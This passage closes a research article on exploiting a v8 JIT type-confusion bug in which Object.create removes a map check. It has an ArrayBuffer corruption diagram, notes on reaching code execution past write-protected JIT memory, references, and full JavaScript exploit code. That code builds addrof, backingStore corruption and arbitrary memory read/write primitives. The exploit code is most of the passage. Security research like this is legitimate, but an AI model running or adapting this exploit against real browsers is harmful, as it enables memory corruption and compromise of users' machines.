963 | ArrayBuffer 1 | +---->| ArrayBuffer 2 |
964 | | | | |
965 | map | | | map |
966 | properties | | | properties |
967 | elements | | | elements |
968 | byteLength | | | byteLength |
969 | backingStore --+-----+ | backingStore |
970 | flags | | flags |
971 +-----------------+ +-----------------+
972
973Afterwards, arbitrary addresses can be accessed by overwriting the
974backingStore pointer of ab2 by writing into ab1 and subsequently reading
975from or writing to ab2.
976
977----[ 4.3 - Reflections
978
979As was demonstrated, by abusing the type inference system in v8, an
980initially limited type confusion primitive can be extended to achieve
981confusion of arbitrary objects in JIT code. This primitive is powerful for
982several reasons:
983
984 0. The fact that the user is able to create custom types, e.g. by
985 adding properties to objects. This avoids the need to find a good type
986 confusion candidate as one can likely just create it, such as was done
987 by the presented exploit when it confused an ArrayBuffer with an object
988 with inline properties to corrupt the backingStore pointer.
989
990 1. The fact that code can be JIT compiled that performs an arbitrary
991 operation on an object of type X but at runtime receives an object of
992 type Y due to the vulnerability. The presented exploit compiled loads
993 and stores of unboxed double properties to achieve address leaks and
994 the corruption of ArrayBuffers respectively.
995
996 2. The fact that type information is aggressively tracked by the
997 engines, increasing the number of types that can be confused with each
998 other.
999
1000As such, it can be desirable to first construct the discussed primitive
1001from lower-level primitives if these aren't sufficient to achieve reliable
1002memory read/write. It is likely that most type check elimination bugs can
1003be turned into this primitive. Further, other types of vulnerabilities can
1004potentially be exploited to yield it as well. Possible examples include
1005register allocation bugs, use-after-frees, or out-of-bounds reads or
1006writes into the property buffers of JavaScript objects.
1007
1008----[ 4.4 Gaining Code Execution
1009
1010While previously an attacker could simply write shellcode into the JIT region
1011and execute it, things have become slightly more time consuming: in early 2018,
1012v8 introduced a feature called write-protect-code-memory [20] which essentially
1013flips the JIT region's access permissions between R-X and RW-. With that, the
1014JIT region will be mapped as R-X during execution of JavaScript code, thus
1015preventing an attacker from directly writing into it. As such, one now needs
1016to find another way to code execution, such as simply performing ROP by
1017overwriting vtables, JIT function pointers, the stack, or through another
1018method of one's choosing. This is left as an exercise for the reader.
1019
1020Afterwards, the only thing left to do is to run a sandbox escape... ;)
1021
1022
1023--[ 5 - References
1024
1025[1] https://blogs.securiteam.com/index.php/archives/3783
1026[2] https://cs.chromium.org/
1027[3] https://v8.dev/
1028[4] https://www.ecma-international.org/ecma-262/8.0/
1029index.html#sec-array-exotic-objects
1030[5] https://www.ecma-international.org/ecma-262/8.0/
1031index.html#sec-addition-operator-plus
1032[6] https://chromium.googlesource.com/v8/v8.git/+/6.9.427.19/
1033tools/turbolizer/
1034[7] https://v8.dev/docs/ignition
1035[8] https://www.mgaudet.ca/technical/2018/6/5/
1036an-inline-cache-isnt-just-a-cache
1037[9] https://mathiasbynens.be/notes/shapes-ics
1038[10] https://bugs.chromium.org/p/project-zero/issues/detail?id=1380
1039[11] https://github.com/WebKit/webkit/commit/
104061dbb71d92f6a9e5a72c5f784eb5ed11495b3ff7
1041[12] https://bugzilla.mozilla.org/show_bug.cgi?id=1145255
1042[13] https://www.thezdi.com/blog/2017/8/24/
1043deconstructing-a-winning-webkit-pwn2own-entry
1044[14] https://bugs.chromium.org/p/chromium/issues/detail?id=762874
1045[15] https://bugs.chromium.org/p/project-zero/issues/detail?id=1390
1046[17] https://bugs.chromium.org/p/project-zero/issues/detail?id=1396
1047[16] https://cloudblogs.microsoft.com/microsoftsecure/2017/10/18/
1048browser-security-beyond-sandboxing/
1049[18] https://www.mozilla.org/en-US/security/advisories/
1050mfsa2018-24/#CVE-2018-12386
1051[19] https://mathiasbynens.be/notes/prototypes
1052[20] https://github.com/v8/v8/commit/
105314917b6531596d33590edb109ec14f6ca9b95536
1054
1055
1056--[ 6 - Exploit Code
1057
1058if (typeof(window) !== 'undefined') {
1059 print = function(msg) {
1060 console.log(msg);
1061 document.body.textContent += msg + "\r\n";
1062 }
1063}
1064
1065{
1066 // Conversion buffers.
1067 let floatView = new Float64Array(1);
1068 let uint64View = new BigUint64Array(floatView.buffer);
1069 let uint8View = new Uint8Array(floatView.buffer);
1070
1071 // Feature request: unboxed BigInt properties so these aren't needed =)
1072 Number.prototype.toBigInt = function toBigInt() {
1073 floatView[0] = this;
1074 return uint64View[0];
1075 };
1076
1077 BigInt.prototype.toNumber = function toNumber() {
1078 uint64View[0] = this;
1079 return floatView[0];
1080 };
1081}
1082
1083// Garbage collection is required to move objects to a stable position in
1084// memory (OldSpace) before leaking their addresses.
1085function gc() {
1086 for (let i = 0; i < 100; i++) {
1087 new ArrayBuffer(0x100000);
1088 }
1089}
1090
1091const NUM_PROPERTIES = 32;
1092const MAX_ITERATIONS = 100000;
1093
1094function checkVuln() {
1095 function hax(o) {
1096 // Force a CheckMaps node before the property access. This must
1097 // load an inline property here so the out-of-line properties
1098 // pointer cannot be reused later.
1099 o.inline;
1100
1101 // Turbofan assumes that the JSCreateObject operation is
1102 // side-effect free (it has the kNoWrite property). However, if the
1103 // prototype object (o in this case) is not a constant, then
1104 // JSCreateObject will be lowered to a runtime call to
1105 // CreateObjectWithoutProperties. This in turn eventually calls
1106 // JSObject::OptimizeAsPrototype which will modify the prototype
1107 // object and assign it a new Map. In particular, it will
1108 // transition the OOL property storage to dictionary mode.
1109 Object.create(o);
1110
1111 // The CheckMaps node for this property access will be incorrectly
1112 // removed. The JIT code is now accessing a NameDictionary but
1113 // believes its loading from a FixedArray.
1114 return o.outOfLine;
1115 }
1116
1117 for (let i = 0; i < MAX_ITERATIONS; i++) {
1118 let o = {inline: 0x1337};
1119 o.outOfLine = 0x1338;
1120 let r = hax(o);
1121 if (r !== 0x1338) {
1122 return;
1123 }
1124 }
1125
1126 throw "Not vulnerable"
1127};
1128
1129// Make an object with one inline and numerous out-of-line properties.
1130function makeObj(propertyValues) {
1131 let o = {inline: 0x1337};
1132 for (let i = 0; i < NUM_PROPERTIES; i++) {
1133 Object.defineProperty(o, 'p' + i, {
1134 writable: true,
1135 value: propertyValues[i]
1136 });
1137 }
1138 return o;
1139}
1140
1141//
1142// The 3 exploit primitives.
1143//
1144
1145// Find a pair (p1, p2) of properties such that p1 is stored at the same
1146// offset in the FixedArray as p2 is in the NameDictionary.
1147let p1, p2;
1148function findOverlappingProperties() {
1149 let propertyNames = [];
1150 for (let i = 0; i < NUM_PROPERTIES; i++) {
1151 propertyNames[i] = 'p' + i;
1152 }
1153 eval(`
1154 function hax(o) {
1155 o.inline;
1156 this.Object.create(o);
1157 ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
1158 return [${propertyNames.join(', ')}];
1159 }
1160 `);
1161
1162 let propertyValues = [];
1163 for (let i = 1; i < NUM_PROPERTIES; i++) {
1164 // There are some unrelated, small-valued SMIs in the dictionary.
1165 // However they are all positive, so use negative SMIs. Don't use
1166 // -0 though, that would be represented as a double...
1167 propertyValues[i] = -i;
1168 }
1169
1170 for (let i = 0; i < MAX_ITERATIONS; i++) {
1171 let r = hax(makeObj(propertyValues));
1172 for (let i = 1; i < r.length; i++) {
1173 // Properties that overlap with themselves cannot be used.
1174 if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
1175 [p1, p2] = [i, -r[i]];
1176 return;
1177 }
1178 }
1179 }
1180
1181 throw "Failed to find overlapping properties";
1182}
1183
1184// Return the address of the given object as BigInt.
1185function addrof(obj) {
1186 // Confuse an object with an unboxed double property with an object
1187 // with a pointer property.
1188 eval(`
1189 function hax(o) {
1190 o.inline;
1191 this.Object.create(o);
1192 return o.p${p1}.x1;
1193 }
1194 `);
1195
1196 let propertyValues = [];
1197 // Property p1 should have the same Map as the one used in
1198 // corrupt for simplicity.
1199 propertyValues[p1] = {x1: 13.37, x2: 13.38};
1200 propertyValues[p2] = {y1: obj};
1201
1202 for (let i = 0; i < MAX_ITERATIONS; i++) {
1203 let res = hax(makeObj(propertyValues));
1204 if (res !== 13.37) {
1205 // Adjust for the LSB being set due to pointer tagging.
1206 return res.toBigInt() - 1n;
1207 }
1208 }
1209
1210 throw "Addrof failed";
1211}
1212
1213// Corrupt the backingStore pointer of an ArrayBuffer object and return the
1214// original address so the ArrayBuffer can later be repaired.
1215function corrupt(victim, newValue) {
1216 eval(`
1217 function hax(o) {
1218 o.inline;
1219 this.Object.create(o);
1220 let orig = o.p${p1}.x2;
1221 o.p${p1}.x2 = ${newValue.toNumber()};
1222 return orig;
1223 }
1224 `);
1225
1226 let propertyValues = [];
1227 // x2 overlaps with the backingStore pointer of the ArrayBuffer.
1228 let o = {x1: 13.37, x2: 13.38};
1229 propertyValues[p1] = o;
1230 propertyValues[p2] = victim;
1231
1232 for (let i = 0; i < MAX_ITERATIONS; i++) {
1233 o.x2 = 13.38;
1234 let r = hax(makeObj(propertyValues));
1235 if (r !== 13.38) {
1236 return r.toBigInt();
1237 }
1238 }
1239
1240 throw "CorruptArrayBuffer failed";
1241}
1242
1243function pwn() {
1244 //
1245 // Step 0: verify that the engine is vulnerable.
1246 //
1247 checkVuln();
1248 print("[+] v8 version is vulnerable");
1249
1250 //
1251 // Step 1. determine a pair of overlapping properties.
1252 //
1253 findOverlappingProperties();
1254 print(`[+] Properties p${p1} and p${p2} overlap`);
1255
1256 //
1257 // Step 2. leak the address of an ArrayBuffer.
1258 //
1259 let memViewBuf = new ArrayBuffer(1024);
1260 let driverBuf = new ArrayBuffer(1024);
1261
1262 // Move ArrayBuffer into old space before leaking its address.
1263 gc();
1264
1265 let memViewBufAddr = addrof(memViewBuf);
1266 print(`[+] ArrayBuffer @ 0x${memViewBufAddr.toString(16)}`);
1267
1268 //
1269 // Step 3. corrupt the backingStore pointer of another ArrayBuffer to
1270 // point to the first ArrayBuffer.
1271 //
1272 let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);
1273
1274 let driver = new BigUint64Array(driverBuf);
1275 let origMemViewBackingStorage = driver[4];
1276
1277 //
1278 // Step 4. construct the memory read/write primitives.
1279 //
1280 let memory = {
1281 write(addr, bytes) {
1282 driver[4] = addr;
1283 let memview = new Uint8Array(memViewBuf);
1284 memview.set(bytes);
1285 },
1286 read(addr, len) {
1287 driver[4] = addr;
1288 let memview = new Uint8Array(memViewBuf);
1289 return memview.subarray(0, len);
1290 },
1291 read64(addr) {
1292 driver[4] = addr;
1293 let memview = new BigUint64Array(memViewBuf);
1294 return memview[0];
1295 },
1296 write64(addr, ptr) {
1297 driver[4] = addr;
1298 let memview = new BigUint64Array(memViewBuf);
1299 memview[0] = ptr;
1300 },
1301 addrof(obj) {
1302 memViewBuf.leakMe = obj;
1303 let props = this.read64(memViewBufAddr + 8n);
1304 return this.read64(props + 15n) - 1n;
1305 },
1306 fixup() {
1307 let driverBufAddr = this.addrof(driverBuf);
1308 this.write64(driverBufAddr + 32n, origDriverBackingStorage);
1309 this.write64(memViewBufAddr + 32n, origMemViewBackingStorage);
1310 },
1311 };
1312
1313 print("[+] Constructed memory read/write primitive");
1314
1315 // Read from and write to arbitrary addresses now :)
1316 memory.write64(0x41414141n, 0x42424242n);
1317
1318 // All done here, repair the corrupted objects.
1319 memory.fixup();
1320
1321 // Verify everything is stable.
1322 gc();
1323}
1324
1325if (typeof(window) === 'undefined')
1326 pwn();
1327
1328--[ EOF